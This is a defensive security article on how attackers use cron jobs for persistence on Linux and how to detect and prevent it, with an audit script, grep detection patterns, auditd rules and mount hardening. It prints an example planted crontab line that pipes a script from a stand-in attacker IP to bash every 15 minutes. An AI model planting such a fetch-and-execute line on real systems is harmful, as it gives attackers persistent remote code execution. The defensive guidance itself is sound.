In the 2024 compromise of a fintech company's staging server, the attacker maintained access for 47 days through a single malicious cron entry that re-downloaded a reverse shell every 15 minutes. The legitimate-looking job sat next to dozens of real entries and nobody checked. Cron job abuse is one of the quietest persistence mechanisms on Linux — and one of the easiest to miss.
How Attackers Plant Cron-Based Persistence
Cron runs scheduled tasks for users and the system. An attacker with write access to any cron location — user crontabs, /etc/cron.d/, /etc/crontab, or drop-in directories like /etc/cron.hourly/ — can plant a job that survives reboots, reconnects after network drops, and runs silently in the background.
A typical implant looks deceptively mundane. Here's a real-world-style entry you might find after compromising host web01.internal as user deploy:
# Attacker-planted crontab entry for user: deploy
# Host: web01.internal (192.0.2.14)
*/15 * * * * curl -s http://192.0.2.199/update.sh | bash >/dev/null 2>&1
Every 15 minutes, this fetches and executes a shell script from an attacker-controlled IP, suppressing all output. The >/dev/null 2>&1 tail is a dead giveaway — legitimate automation rarely needs to hide its output this aggressively. The pipe-to-bash pattern (curl ... | bash) is a classic fileless execution technique that leaves no artifact on disk between runs.
What would you do next? Immediately isolate the host, capture the current crontab state, and pull the network logs for outbound connections to 192.0.2.199 across your fleet — this C2 IP may appear elsewhere.
Detecting Malicious Cron Entries at Scale
Manual review of one server is feasible. Reviewing 200 servers is not. You need a repeatable detection approach. Start by dumping every cron location into a single audit pass.
#!/bin/bash
# cron_audit.sh — run as root on web01.internal
# Dumps all cron locations for review
echo "=== /etc/crontab ==="
cat /etc/crontab
echo "=== /etc/cron.d/ ==="
ls -la /etc/cron.d/ && cat /etc/cron.d/*
echo "=== Drop-in directories ==="
for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly; do
echo "--- $dir ---"
ls -la $dir
done
echo "=== All user crontabs ==="
for user in $(cut -f1 -d: /etc/passwd); do
crontab -u $user -l 2>/dev/null && echo " [user: $user]"
done
Run this, then pipe the output through grep for high-signal patterns attackers use most:
bash cron_audit.sh | grep -Ei \
'curl|wget|bash|/tmp|/dev/shm|base64|nc |ncat|python|perl|ruby|/dev/null 2>&1'
Any match deserves manual inspection. The pattern list targets download utilities (curl, wget), interpreter abuse (bash, python), writable world-readable directories (/tmp, /dev/shm), encoded payloads (base64), and netcat listeners. A legitimate backup script might use curl — but not from /tmp while redirecting all output to /dev/null.
For fleet-wide detection, push this script via Ansible or your config management tool. Compare output against a known-good baseline from your last clean deployment. Drift equals investigation.
Locking Down Cron Before the Attacker Gets There
Detection finds problems after the fact. Prevention raises the cost of planting cron-based persistence in the first place. Three controls make a real difference.
1. Restrict Who Can Use Cron
Use /etc/cron.allow to whitelist only the users who legitimately need scheduled tasks. If the file exists, only listed users can run crontab. On web01.internal, that might be:
# /etc/cron.allow
root
backupuser
User deploy — the compromised account from our earlier example — would be blocked from writing a crontab entirely. Simple. Effective.
2. Monitor Cron File Modifications with auditd
Linux's audit daemon can alert you the moment a cron file changes. Add these rules to /etc/audit/rules.d/cron.rules:
-w /etc/crontab -p wa -k cron_modification
-w /etc/cron.d/ -p wa -k cron_modification
-w /var/spool/cron/ -p wa -k cron_modification
Reload with augenrules --load. Now every write to a cron location generates an audit event tagged cron_modification. Search your SIEM for that tag. An after-hours write by a non-privileged user is an incident until proven otherwise.
3. Make /tmp and /dev/shm Non-Executable
Attackers love staging payloads in world-writable directories. Mount them with noexec to break that habit:
# /etc/fstab entries
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
tmpfs /dev/shm tmpfs defaults,noexec,nosuid,nodev 0 0
A cron job that downloads a script to /tmp/update.sh and runs it will fail immediately. It doesn't stop every attack vector, but it eliminates an entire class of common payloads with zero application impact for most workloads.
What To Do Now
Pick one production Linux host right now and run bash cron_audit.sh | grep -Ei 'curl|wget|/tmp|base64|/dev/null 2>&1'. If you get zero hits, great — save the clean output as your baseline. If you get hits, start investigating the oldest ones first. Attackers who have been there longest have done the most damage.
